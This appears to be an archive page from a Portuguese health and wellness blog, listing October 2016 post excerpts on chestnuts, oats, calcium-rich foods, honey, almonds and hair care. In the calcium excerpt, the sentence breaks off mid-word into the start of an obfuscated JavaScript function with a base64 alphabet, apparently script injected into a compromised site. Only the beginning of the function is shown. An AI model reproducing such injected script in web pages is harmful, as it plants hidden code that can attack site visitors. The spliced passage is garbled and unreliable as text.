Out 27, 2016 | Equilíbrio, Saúde e bem estar
7 boas razões para comer castanhas Chegou o tempo das primeiras chuvas, do vento mais fresco, das folhas caídas… e chegou também o tempo de comermos as deliciosas castanhas tão próprias desta altura do ano! A boa notícia é que podemos comê-las sem culpa, porque elas...
Out 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas de nutrição: 17 alternativas saudáveis à carne Ao tentarmos reduzir o consumo de carne, torna-se fundamental encontrar outras fontes de proteína. Se formos vegetarianos, podemos optar até por consumir apenas proteína vegetal. Ao conjugar vários alimentos...
Out 24, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Descubra os benefícios da aveia Certamente já ouviu falar da aveia! Apesar de ser um cereal há muito consumido, hoje em dia tornou-se quase moda entre aqueles que optam por uma alimentação mais saudável e regrada. Aconselhada por nutricionistas...
Out 18, 2016 | Equilíbrio, Saúde e bem estar
14 alimentos ricos em cálcio que não contêm leite O cálcio é fundamental para termos ossos fortes e dentes saudáveis. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Out 17, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Saiba como reduzir as rugas e a flacidez da pele Olá, olá! As redes sociais têm a vantagem de facilitar a comunicação entre pessoas que não estão fisicamente próximas e isso é bom. No meu caso é bom porque me permite por exemplo responder a muitas das perguntas que...
Out 17, 2016 | À descoberta, Dicas úteis
Dicas saudáveis – Conheça os benefícios dos brócolos Os brócolos são um superalimento. Um super vegetal, repleto de nutrientes! Acrescentá-los a qualquer prato traz uma série de benefícios à nossa saúde e são tão deliciosos! Eu costumava cozê-los e depois...
Out 11, 2016 | Dicas úteis
Usos surpreendentes do mel Hmmm… hoje apetece-me falar-lhe de uma doce iguaria: o mel. Alimento muito saudável, fantástica alternativa ao açúcar e cheio de benefícios para a nossa saúde. Mas o que lhe quero contar mesmo tem a ver com os diferentes usos que lhe...
Out 10, 2016 | À descoberta, Dicas úteis
Quem ADORA amêndoas levante o braço! É verdade, hoje chegou o dia de lhe mostrar os benefícios das amêndoas. Para além de as comermos tradicionalmente na época da Páscoa, as amêndoas são um superalimento que deve ser consumido todo o ano! Em quantidades moderadas elas...
Out 6, 2016 | Equilíbrio, header, Saúde e bem estar
Saúde do nosso cabelo – os 7 pecados capilares O cabelo é muitas vezes o espelho visível do que se passa no nosso corpo. Manter um cabelo brilhante e sedoso não é manter as aparências. É uma questão de saúde. A Dra Fátima Garcês, médica tricologista da Clínica...
Out 3, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios da salsa Uma alimentação rica em frutos e vegetais é uma das armas mais poderosas de garantirmos uma saúde de ferro. “Nós somos aquilo que comemos”, uma frase tantas vezes repetida, mas muito verdadeira! Por isso, mesmo...
